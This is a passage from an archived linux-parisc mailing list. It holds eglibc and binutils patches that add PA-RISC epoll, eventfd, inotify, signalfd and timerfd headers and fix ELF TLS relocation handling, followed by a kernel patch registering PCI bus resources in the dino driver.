-    ({ int val = atomic_exchange_rel (futex, 0);       \
-       if (__builtin_expect (val & FUTEX_WAITERS, 0))  \
-         lll_futex_wake (futex, 1, private);           \
+  (void)						\
+    ({ int *__futex = (futex);				\
+       int val = atomic_exchange_rel (__futex, 0);	\
+       if (__builtin_expect (val & FUTEX_WAITERS, 0))	\
+         lll_futex_wake (__futex, 1, private);		\
     })
 #define lll_robust_unlock(futex, private) \
   __lll_robust_unlock(&(futex), private)

--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="ports-2011-10-30.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-10-30.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/ChangeLog.hppa
===================================================================
--- eglibc-2.13.orig/ports/ChangeLog.hppa	2011-09-24 18:40:01.000000000 -0400
+++ eglibc-2.13/ports/ChangeLog.hppa	2011-10-30 11:43:20.000000000 -0400
@@ -3,6 +3,19 @@
 	* sysdeps/hppa/dl-machine.h: Update copyright year.
 	(ELF_MACHINE_BEFORE_RTLD_RELOC): Call _dl_fptr_init.
 
+2010-08-06  Guy Martin <gmsoft@tuxicoman.be>
+
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h:
+	Fix EPOLL_CLOEXEC and EPOLL_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h:
+	Fix EFD_CLOEXEC and EFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h:
+	Fix IN_CLOEXEC and IN_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h:
+	Fix SFD_CLOEXEC and SFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h:
+	Fix TFD_CLOEXEC and TFD_NONBLOCK to match kernel definition.
+
 2010-06-24  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S: Only create stack 
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,144 @@
+/* Copyright (C) 2002-2006, 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EPOLL_H
+#define	_SYS_EPOLL_H	1
+
+#include <stdint.h>
+#include <sys/types.h>
+
+/* Get __sigset_t.  */
+#include <bits/sigset.h>
+
+#ifndef __sigset_t_defined
+# define __sigset_t_defined
+typedef __sigset_t sigset_t;
+#endif
+
+
+/* Flags to be passed to epoll_create1.  */
+enum
+  {
+    EPOLL_CLOEXEC = 010000000,
+#define EPOLL_CLOEXEC EPOLL_CLOEXEC
+    EPOLL_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EPOLL_NONBLOCK EPOLL_NONBLOCK
+  };
+
+
+enum EPOLL_EVENTS
+  {
+    EPOLLIN = 0x001,
+#define EPOLLIN EPOLLIN
+    EPOLLPRI = 0x002,
+#define EPOLLPRI EPOLLPRI
+    EPOLLOUT = 0x004,
+#define EPOLLOUT EPOLLOUT
+    EPOLLRDNORM = 0x040,
+#define EPOLLRDNORM EPOLLRDNORM
+    EPOLLRDBAND = 0x080,
+#define EPOLLRDBAND EPOLLRDBAND
+    EPOLLWRNORM = 0x100,
+#define EPOLLWRNORM EPOLLWRNORM
+    EPOLLWRBAND = 0x200,
+#define EPOLLWRBAND EPOLLWRBAND
+    EPOLLMSG = 0x400,
+#define EPOLLMSG EPOLLMSG
+    EPOLLERR = 0x008,
+#define EPOLLERR EPOLLERR
+    EPOLLHUP = 0x010,
+#define EPOLLHUP EPOLLHUP
+    EPOLLRDHUP = 0x2000,
+#define EPOLLRDHUP EPOLLRDHUP
+    EPOLLONESHOT = (1 << 30),
+#define EPOLLONESHOT EPOLLONESHOT
+    EPOLLET = (1 << 31)
+#define EPOLLET EPOLLET
+  };
+
+
+/* Valid opcodes ( "op" parameter ) to issue to epoll_ctl().  */
+#define EPOLL_CTL_ADD 1	/* Add a file descriptor to the interface.  */
+#define EPOLL_CTL_DEL 2	/* Remove a file descriptor from the interface.  */
+#define EPOLL_CTL_MOD 3	/* Change file descriptor epoll_event structure.  */
+
+
+typedef union epoll_data
+{
+  void *ptr;
+  int fd;
+  uint32_t u32;
+  uint64_t u64;
+} epoll_data_t;
+
+struct epoll_event
+{
+  uint32_t events;	/* Epoll events */
+  epoll_data_t data;	/* User data variable */
+};
+
+
+__BEGIN_DECLS
+
+/* Creates an epoll instance.  Returns an fd for the new instance.
+   The "size" parameter is a hint specifying the number of file
+   descriptors to be associated with the new instance.  The fd
+   returned by epoll_create() should be closed with close().  */
+extern int epoll_create (int __size) __THROW;
+
+/* Same as epoll_create but with an FLAGS parameter.  The unused SIZE
+   parameter has been dropped.  */
+extern int epoll_create1 (int __flags) __THROW;
+
+
+/* Manipulate an epoll instance "epfd". Returns 0 in case of success,
+   -1 in case of error ( the "errno" variable will contain the
+   specific error code ) The "op" parameter is one of the EPOLL_CTL_*
+   constants defined above. The "fd" parameter is the target of the
+   operation. The "event" parameter describes which events the caller
+   is interested in and any associated user data.  */
+extern int epoll_ctl (int __epfd, int __op, int __fd,
+		      struct epoll_event *__event) __THROW;
+
+
+/* Wait for events on an epoll instance "epfd". Returns the number of
+   triggered events returned in "events" buffer. Or -1 in case of
+   error with the "errno" variable set to the specific error code. The
+   "events" parameter is a buffer that will contain triggered
+   events. The "maxevents" is the maximum number of events to be
+   returned ( usually size of "events" ). The "timeout" parameter
+   specifies the maximum wait time in milliseconds (-1 == infinite).
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_wait (int __epfd, struct epoll_event *__events,
+		       int __maxevents, int __timeout);
+
+
+/* Same as epoll_wait, but the thread's signal mask is temporarily
+   and atomically replaced with the one provided as parameter.
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_pwait (int __epfd, struct epoll_event *__events,
+			int __maxevents, int __timeout,
+			__const __sigset_t *__ss);
+
+__END_DECLS
+
+#endif /* sys/epoll.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,54 @@
+/* Copyright (C) 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EVENTFD_H
+#define	_SYS_EVENTFD_H	1
+
+#include <stdint.h>
+
+
+/* Type for event counter.  */
+typedef uint64_t eventfd_t;
+
+/* Flags for signalfd.  */
+enum
+  {
+    EFD_SEMAPHORE = 1,
+#define EFD_SEMAPHORE EFD_SEMAPHORE
+    EFD_CLOEXEC = 010000000,
+#define EFD_CLOEXEC EFD_CLOEXEC
+    EFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EFD_NONBLOCK EFD_NONBLOCK
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for generic event channel.  Set initial
+   value to COUNT.  */
+extern int eventfd (int __count, int __flags) __THROW;
+
+/* Read event counter and possibly wait for events.  */
+extern int eventfd_read (int __fd, eventfd_t *__value);
+
+/* Increment event counter.  */
+extern int eventfd_write (int __fd, eventfd_t __value);
+
+__END_DECLS
+
+#endif /* sys/eventfd.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,105 @@
+/* Copyright (C) 2005, 2006, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_INOTIFY_H
+#define	_SYS_INOTIFY_H	1
+
+#include <stdint.h>
+
+
+/* Flags for the parameter of inotify_init1.  */
+enum
+  {
+    IN_CLOEXEC = 010000000,
+#define IN_CLOEXEC IN_CLOEXEC
+    IN_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define IN_NONBLOCK IN_NONBLOCK
+  };
+
+
+/* Structure describing an inotify event.  */
+struct inotify_event
+{
+  int wd;		/* Watch descriptor.  */
+  uint32_t mask;	/* Watch mask.  */
+  uint32_t cookie;	/* Cookie to synchronize two events.  */
+  uint32_t len;		/* Length (including NULs) of name.  */
+  char name __flexarr;	/* Name.  */
+};
+
+
+/* Supported events suitable for MASK parameter of INOTIFY_ADD_WATCH.  */
+#define IN_ACCESS	 0x00000001	/* File was accessed.  */
+#define IN_MODIFY	 0x00000002	/* File was modified.  */
+#define IN_ATTRIB	 0x00000004	/* Metadata changed.  */
+#define IN_CLOSE_WRITE	 0x00000008	/* Writtable file was closed.  */
+#define IN_CLOSE_NOWRITE 0x00000010	/* Unwrittable file closed.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE) /* Close.  */
+#define IN_OPEN		 0x00000020	/* File was opened.  */
+#define IN_MOVED_FROM	 0x00000040	/* File was moved from X.  */
+#define IN_MOVED_TO      0x00000080	/* File was moved to Y.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO) /* Moves.  */
+#define IN_CREATE	 0x00000100	/* Subfile was created.  */
+#define IN_DELETE	 0x00000200	/* Subfile was deleted.  */
+#define IN_DELETE_SELF	 0x00000400	/* Self was deleted.  */
+#define IN_MOVE_SELF	 0x00000800	/* Self was moved.  */
+
+/* Events sent by the kernel.  */
+#define IN_UNMOUNT	 0x00002000	/* Backing fs was unmounted.  */
+#define IN_Q_OVERFLOW	 0x00004000	/* Event queued overflowed.  */
+#define IN_IGNORED	 0x00008000	/* File was ignored.  */
+
+/* Helper events.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE)	/* Close.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO)		/* Moves.  */
+
+/* Special flags.  */
+#define IN_ONLYDIR	 0x01000000	/* Only watch the path if it is a
+					   directory.  */
+#define IN_DONT_FOLLOW	 0x02000000	/* Do not follow a sym link.  */
+#define IN_MASK_ADD	 0x20000000	/* Add to the mask of an already
+					   existing watch.  */
+#define IN_ISDIR	 0x40000000	/* Event occurred against dir.  */
+#define IN_ONESHOT	 0x80000000	/* Only send event once.  */
+
+/* All events which a program can wait on.  */
+#define IN_ALL_EVENTS	 (IN_ACCESS | IN_MODIFY | IN_ATTRIB | IN_CLOSE_WRITE  \
+			  | IN_CLOSE_NOWRITE | IN_OPEN | IN_MOVED_FROM	      \
+			  | IN_MOVED_TO | IN_CREATE | IN_DELETE		      \
+			  | IN_DELETE_SELF | IN_MOVE_SELF)
+
+
+__BEGIN_DECLS
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init (void) __THROW;
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init1 (int __flags) __THROW;
+
+/* Add watch of object NAME to inotify instance FD.  Notify about
+   events specified by MASK.  */
+extern int inotify_add_watch (int __fd, const char *__name, uint32_t __mask)
+  __THROW;
+
+/* Remove the watch specified by WD from the inotify instance FD.  */
+extern int inotify_rm_watch (int __fd, int __wd) __THROW;
+
+__END_DECLS
+
+#endif /* sys/inotify.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,66 @@
+/* Copyright (C) 2007, 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_SIGNALFD_H
+#define	_SYS_SIGNALFD_H	1
+
+#define __need_sigset_t
+#include <signal.h>
+#include <stdint.h>
+
+
+struct signalfd_siginfo
+{
+  uint32_t ssi_signo;
+  int32_t ssi_errno;
+  int32_t ssi_code;
+  uint32_t ssi_pid;
+  uint32_t ssi_uid;
+  int32_t ssi_fd;
+  uint32_t ssi_tid;
+  uint32_t ssi_band;
+  uint32_t ssi_overrun;
+  uint32_t ssi_trapno;
+  int32_t ssi_status;
+  int32_t ssi_int;
+  uint64_t ssi_ptr;
+  uint64_t ssi_utime;
+  uint64_t ssi_stime;
+  uint64_t ssi_addr;
+  uint8_t __pad[48];
+};
+
+/* Flags for signalfd.  */
+enum
+  {
+    SFD_CLOEXEC = 010000000,
+#define SFD_CLOEXEC SFD_CLOEXEC
+    SFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define SFD_NONBLOCK SFD_NONBLOCK
+  };
+
+__BEGIN_DECLS
+
+/* Request notification for delivery of signals in MASK to be
+   performed using descriptor FD.*/
+extern int signalfd (int __fd, const sigset_t *__mask, int __flags)
+  __THROW __nonnull ((2));
+
+__END_DECLS
+
+#endif /* sys/signalfd.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,60 @@
+/* Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_TIMERFD_H
+#define	_SYS_TIMERFD_H	1
+
+#include <time.h>
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_create'.  */
+enum
+  {
+    TFD_CLOEXEC = 010000000,
+#define TFD_CLOEXEC TFD_CLOEXEC
+    TFD_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define TFD_NONBLOCK TFD_NONBLOCK
+  };
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_settime'.  */
+enum
+  {
+    TFD_TIMER_ABSTIME = 1 << 0
+#define TFD_TIMER_ABSTIME TFD_TIMER_ABSTIME
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for new interval timer source.  */
+extern int timerfd_create (clockid_t __clock_id, int __flags) __THROW;
+
+/* Set next expiration time of interval timer source UFD to UTMR.  If
+   FLAGS has the TFD_TIMER_ABSTIME flag set the timeout value is
+   absolute.  Optionally return the old expiration time in OTMR.  */
+extern int timerfd_settime (int __ufd, int __flags,
+			    __const struct itimerspec *__utmr,
+			    struct itimerspec *__otmr) __THROW;
+
+/* Return the next expiration time of UFD.  */
+extern int timerfd_gettime (int __ufd, struct itimerspec *__otmr) __THROW;
+
+__END_DECLS
+
+#endif /* sys/timerfd.h */

--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="elf32-hppa.c.d.1"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="elf32-hppa.c.d.1"
Content-Transfer-Encoding: 7bit

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.182
diff -u -3 -p -r1.182 elf32-hppa.c
--- elf32-hppa.c	6 Nov 2011 20:25:17 -0000	1.182
+++ elf32-hppa.c	8 Dec 2011 11:47:53 -0000
@@ -3349,10 +3349,16 @@ final_link_relocate (asection *input_sec
       switch (r_type)
 	{
 	  case R_PARISC_DLTIND21L:
+	  case R_PARISC_TLS_GD21L:
+	  case R_PARISC_TLS_LDM21L:
+	  case R_PARISC_TLS_IE21L:
 	    r_type = R_PARISC_DPREL21L;
 	    break;
 
 	  case R_PARISC_DLTIND14R:
+	  case R_PARISC_TLS_GD14R:
+	  case R_PARISC_TLS_LDM14R:
+	  case R_PARISC_TLS_IE14R:
 	    r_type = R_PARISC_DPREL14R;
 	    break;
 
@@ -3418,53 +3424,48 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DPREL21L:
     case R_PARISC_DPREL14R:
     case R_PARISC_DPREL14F:
-    case R_PARISC_TLS_GD21L:
-    case R_PARISC_TLS_LDM21L:
-    case R_PARISC_TLS_IE21L:
       /* Convert instructions that use the linkage table pointer (r19) to
 	 instructions that use the global data pointer (dp).  This is the
 	 most efficient way of using PIC code in an incomplete executable,
 	 but the user must follow the standard runtime conventions for
 	 accessing data for this to work.  */
-      if (orig_r_type == R_PARISC_DLTIND21L
-	  || (!info->shared
-	      && (r_type == R_PARISC_TLS_GD21L
-		  || r_type == R_PARISC_TLS_LDM21L
-		  || r_type == R_PARISC_TLS_IE21L)))
-	{
-	  /* Convert addil instructions if the original reloc was a
-	     DLTIND21L.  GCC sometimes uses a register other than r19 for
-	     the operation, so we must convert any addil instruction
-	     that uses this relocation.  */
-	  if ((insn & 0xfc000000) == ((int) OP_ADDIL << 26))
-	    insn = ADDIL_DP;
-	  else
-	    /* We must have a ldil instruction.  It's too hard to find
-	       and convert the associated add instruction, so issue an
-	       error.  */
-	    (*_bfd_error_handler)
-	      (_("%B(%A+0x%lx): %s fixup for insn 0x%x is not supported in a non-shared link"),
-	       input_bfd,
-	       input_section,
-	       (long) offset,
-	       howto->name,
-	       insn);
-	}
-      else if (orig_r_type == R_PARISC_DLTIND14F)
-	{
-	  /* This must be a format 1 load/store.  Change the base
-	     register to dp.  */
-	  insn = (insn & 0xfc1ffff) | (27 << 21);
-	}
-
-    /* For all the DP relative relocations, we need to examine the symbol's
-       section.  If it has no section or if it's a code section, then
-       "data pointer relative" makes no sense.  In that case we don't
-       adjust the "value", and for 21 bit addil instructions, we change the
-       source addend register from %dp to %r0.  This situation commonly
-       arises for undefined weak symbols and when a variable's "constness"
-       is declared differently from the way the variable is defined.  For
-       instance: "extern int foo" with foo defined as "const int foo".  */
+      if (orig_r_type != r_type)
+	{
+	  if (r_type == R_PARISC_DPREL21L)
+	    {
+	      /* GCC sometimes uses a register other than r19 for the
+		 operation, so we must convert any addil instruction
+		 that uses this relocation.  */
+	      if ((insn & 0xfc000000) == ((int) OP_ADDIL << 26))
+		insn = ADDIL_DP;
+	      else
+		/* We must have a ldil instruction.  It's too hard to find
+		   and convert the associated add instruction, so issue an
+		   error.  */
+		(*_bfd_error_handler)
+		  (_("%B(%A+0x%lx): %s fixup for insn 0x%x is not supported in a non-shared link"),
+		   input_bfd,
+		   input_section,
+		   (long) offset,
+		   howto->name,
+		   insn);
+	    }
+	  else if (r_type == R_PARISC_DPREL14F)
+	    {
+	      /* This must be a format 1 load/store.  Change the base
+		 register to dp.  */
+	      insn = (insn & 0xfc1ffff) | (27 << 21);
+	    }
+	}
+
+      /* For all the DP relative relocations, we need to examine the symbol's
+	 section.  If it has no section or if it's a code section, then
+	 "data pointer relative" makes no sense.  In that case we don't
+	 adjust the "value", and for 21 bit addil instructions, we change the
+	 source addend register from %dp to %r0.  This situation commonly
+	 arises for undefined weak symbols and when a variable's "constness"
+	 is declared differently from the way the variable is defined.  For
+	 instance: "extern int foo" with foo defined as "const int foo".  */
       if (sym_sec == NULL || (sym_sec->flags & SEC_CODE) != 0)
 	{
 	  if ((insn & ((0x3f << 26) | (0x1f << 21)))
@@ -3481,6 +3482,9 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND21L:
     case R_PARISC_DLTIND14R:
     case R_PARISC_DLTIND14F:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_IE21L:
     case R_PARISC_TLS_GD14R:
     case R_PARISC_TLS_LDM14R:
     case R_PARISC_TLS_IE14R:

--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="hidden.d.2"
Content-Type: application/octet-stream; x-unix-mode=0644; name="hidden.d.2"
Content-Transfer-Encoding: 7bit

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.181
diff -u -3 -p -r1.181 elf32-hppa.c
--- elf32-hppa.c	26 Oct 2011 09:47:58 -0000	1.181
+++ elf32-hppa.c	6 Nov 2011 18:21:46 -0000
@@ -1789,10 +1789,12 @@ elf32_hppa_hide_symbol (struct bfd_link_
 	}
     }
 
-  if (! hppa_elf_hash_entry (eh)->plabel)
+  /* STT_GNU_IFUNC symbol must go through PLT.  */
+  if (! hppa_elf_hash_entry (eh)->plabel
+      && eh->type != STT_GNU_IFUNC)
     {
       eh->needs_plt = 0;
-      eh->plt = elf_hash_table (info)->init_plt_refcount;
+      eh->plt = elf_hash_table (info)->init_plt_offset;
     }
 }
 
@@ -1814,6 +1816,13 @@ elf32_hppa_adjust_dynamic_symbol (struct
   if (eh->type == STT_FUNC
       || eh->needs_plt)
     {
+      /* If the symbol is used by a plabel, we must allocate a PLT slot.
+	 The refcounts are not reliable when it has been hidden since
+	 hide_symbol can be called before the plabel flag is set.  */
+      if (hppa_elf_hash_entry (eh)->plabel
+	  && eh->plt.refcount <= 0)
+	eh->plt.refcount = 1;
+
       if (eh->plt.refcount <= 0
 	  || (eh->def_regular
 	      && eh->root.type != bfd_link_hash_defweak

--Apple-Mail-35--15589280--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 29/39] PCI, parisc: Register busn_res for root buses
Date: Wed, 29 Feb 2012 15:07:28 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <1330556858-11768-30-git-send-email-yinghai@kernel.org>
References: <1330556858-11768-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330557720 3697 80.91.229.3 (29 Feb 2012 23:22:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Feb 2012 23:22:00 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>,
	David Miller <davem@davemloft.net>, x86 <x86@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 01 00:21:55 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2sqG-0000e1-DJ
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Mar 2012 00:21:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965984Ab2B2XVt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Feb 2012 18:21:49 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:26097 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964983Ab2B2XIx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Feb 2012 18:08:53 -0500
Original-Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93])
	by rcsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q1TN8TCD025377
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 29 Feb 2012 23:08:29 GMT
Original-Received: from acsmt358.oracle.com (acsmt358.oracle.com [141.146.40.158])
	by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q1TN8R1a028245
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 29 Feb 2012 23:08:27 GMT
Original-Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64])
	by acsmt358.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q1TN8QA3015115;
	Wed, 29 Feb 2012 17:08:26 -0600
Original-Received: from linux-siqj.site.com (/10.132.126.254)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Wed, 29 Feb 2012 15:08:26 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1330556858-11768-1-git-send-email-yinghai@kernel.org>
X-Source-IP: ucsinet21.oracle.com [156.151.31.93]
X-CT-RefId: str=0001.0A090206.4F4EAFEE.00EB,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4216 gmane.linux.kernel.pci:13906 gmane.linux.kernel:1260231 gmane.linux.kernel.cross-arch:12873
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4216>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    5 +++++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0610e91..def94af 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -984,6 +984,10 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
+	dino_dev->hba.bus_num.start = dino_current_bus;
+	dino_dev->hba.bus_num.end = 255;
+	dino_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
@@ -999,6 +1003,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
